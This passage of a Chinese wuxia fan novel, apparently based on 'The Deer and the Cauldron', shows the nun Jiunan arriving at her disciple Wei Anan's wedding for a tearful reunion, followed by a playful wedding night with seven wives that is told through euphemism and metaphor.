    “你谁啊你...”蔚芊竹不服的看去,却愣住了神,只见来人是个断臂尼姑,但其清冷孤傲,虽上了年纪,一点都不影响其秀丽无伦的面容,神色间淡淡的尊贵气度,让人愈发想要臣服,容丽玉色,令人心生亲近。


    苏荃一见,急忙说道“贵客来了,安安...你看谁来了。”


    此言一出,在场众人接连望去,皆被这断臂尼姑的气度所打动。


    蔚安安回头,见九难来到,大喜过望,急着跑了过去,抱着她的软腰,喜极而泣说道“师傅!弟子终于见到您了!我好想你!”


    阿珂也跑了过来,抱着九难的身子,哭道“师傅...”


    朱俏俏同样大为激动,走近说道“姑姑,这些年您还好吗?”


    九难原本不喜多人,但一时间见到自己的徒弟和亲人,也是热泪盈眶,点点头说道“好,我很好。”


    看着哭成泪人的蔚安安,心中一软,手掌抚上她的脑袋,柔声说道“你这孩子,婚嫁大事,哭成这般,像什么样子?你和珂儿都是我的徒弟,如此大事,我岂能不来给你们庆贺。”


    阿珂一怔,哭道“师父,您不再恨我了么?”


    九难淡淡一笑,抬手抹去她的泪珠,说道“为师走遍天下,现在想来,那些事情跟你有什么干系?是为师之前太过执拗,你受委屈了。”


    阿珂泣不成声,紧紧抱着九难。


    在场宾客面面相觑,此次不是喜事,怎么哭成这样?


    苏荃和曾柔等女前去招待客人,蔚芊竹见这等场面,额头冒出了冷汗,动土动到了太岁头上,这可是师婆啊,让老爹知道了,可是吃不了兜着走,想喊蔚铄给自己解穴,赶紧跑路,谁知九难来了一句“安安,是你教的她神行百变么?”


    蔚安安一愣,擦了擦鼻涕眼泪,全都抹在了九难的衣袍上,说道“这是弟子的女儿,是我教的,师父怎么知道?”


    九难说道“她刚刚跟我过了几手,功夫还行,准头还不到家。”


    蔚安安脸色一沉,说道“蔚芊竹!你跟师父动手了?”


    蔚芊竹讪笑道“老爹,我也不知道这是师婆,要是知道,我肯定万万不敢的。”


    九难瞧她这样,轻笑说道“这丫头跟你挺像,投机取巧的本事炉火纯青。”


    蔚安安嘟囔说道“师父,我哪有投机取巧?”


    蔚芊竹笑道“师婆这样说,是不怪我了?”


    九难笑问道“你为什么叫我师婆?”


    蔚芊竹笑道“你是我老爹的师父,老爹教我功夫,论起来你就是我师婆啊。”


    “好一个牙尖嘴利的小丫头。”九难出手解了她的穴道,对蔚安安说道“你这个女儿可厉害的紧。”


    蔚安安挠挠头,问道“师父,这次来,能不能多呆几天,也好让徒儿尽尽孝心。”


    阿珂也满怀期待的望着她,九难心中一热,漂泊在外,来到此处,竟然有家的感觉,情不自禁的点点头。


    蔚安安和阿珂高兴的说道“那可太好了!”


    众人欢声笑语,甚是恣意畅快,苏荃、建宁、曾柔、方怡、沐剑屏、双儿也一同上前拜见九难,让她入座。


    九难看到陈圆圆一怔,两人一笑泯恩仇,互相点头示意。


    韦春花对这美貌尼姑好奇,贴近笑道“咦,你就是小王八蛋经常叨叨的师父,来来来我敬你一杯,一会啊我给你安排房间。”


    九难听闻蔚安安经常惦念自己,微微一笑,对这无礼妇人也不那么厌烦,许是心性变了,破天荒的举起酒杯,一饮而尽。


    这场婚嫁之事,极尽豪华、喜庆、所到宾客无不给足了面子,酒宴之上推杯换盏,欢声笑语,既有男人、女人、老人、小孩、苗人、汉人,相处融洽,自由自在,美好开怀。


    直至夜深,宾客逐渐散去,蔚安安喝的微醺,拥着七位夫人,来到一个房间门前,嘿嘿笑道“诸位夫人,我还有一个惊喜给你们。”


    七女神色欢喜,满怀期待,跟着蔚安安进了房间,踏入之后发现,屋内极为宽广,硕大的雕花床铺着上好的鹅绒,乍看之下,竟与当年扬州丽春院的大床相似。


    “你这死人头,定制了那么大的床,是不是想些有的没的?”建宁勾唇笑骂,坐在床上,媚眼如丝。


    剩下六女均想到当年在丽春院之时,面面相觑间,脸颊羞红,身子发热。


    蔚安安笑道“在通吃岛上,咱们也是住在一起的,眼下分开睡,多不舒服。咱们这下睡在一起,岂不美哉。”


    苏荃眼尾上挑,露出坏笑,说道“你为我们准备了那么多惊喜,今夜大婚,咱们姐妹当然让你舒服了。”说罢身子疾出,拽下床上的帷幔,趁她没有反应过来,将她双臂绑了个结结实实,推到在建宁身上,引得众女齐声惊呼。


    蔚安安舌头打结,忙说道“夫人..这是做什么...我....”


    苏荃轻声道“嘘...相公,我和诸位姐妹伺候你呀...诸位姐妹们,你们说呢?这可是绝无仅有的机会哟。”


    建宁是当仁不让,捂着蔚安安的嘴,笑道“我同意荃姐姐。”伸手去解蔚安安的衣扣,晶润的锁骨露出。


    剩下几女今夜饮酒不少,热血上涌,比平时胆大开放了许多,不知是谁先上前,其他都围了上来。


    蔚安安欲哭无泪,本想着再来一次大被同眠,看来这次把自己玩进去了。


    忽然听到门外蔚铄问道“老姐,你和湘儿他们在这干什么?”


    蔚安安肩头被建宁咬了一口,痛叫一声,怒喊道“蔚芊竹!”


    苏荃笑道“你还是担心担心自己吧,双儿妹妹,柔妹妹,你们固住她的双手,阿珂妹妹,方怡妹妹固住她的双腿....”


    蔚芊竹看屋里人影晃动,叹道“老爹,你自求多福吧...”转头轻骂道“书呆子,瞎坏事..走走走,省的老爹暴走。”拉着蔚铄和几个小娃娃飞快逃离。


    屋内先是传出簇簇索索的声音,接着是呜呜的声咽,而后是由轻到重的低--吟,有规律的持续。


    月光打在屋前的树枝上,斑驳的树叶被风吹起,风速时快时慢,树叶随风而动,浮浮沉沉,时而轻抚微动,时而猛烈摇晃,有时轻轻摇曳,发出沙沙的响声,直到一阵猛烈抖动,安静了一会,又颤动起来,深夜的冷温,让那树叶上出现了许多的露水,风吹过后,散落在地,没一会,树叶又浮现了一层清澈的露水,来回几次,更有几个树叶被风吹的搅在一起,难舍难分。


    过了不知多久,屋中娇呼婉--吟,一声接着一声,木床吱吱呀呀的声音越发的剧烈,让月儿羞得躲进了云中,有时不时的探出头来瞧着。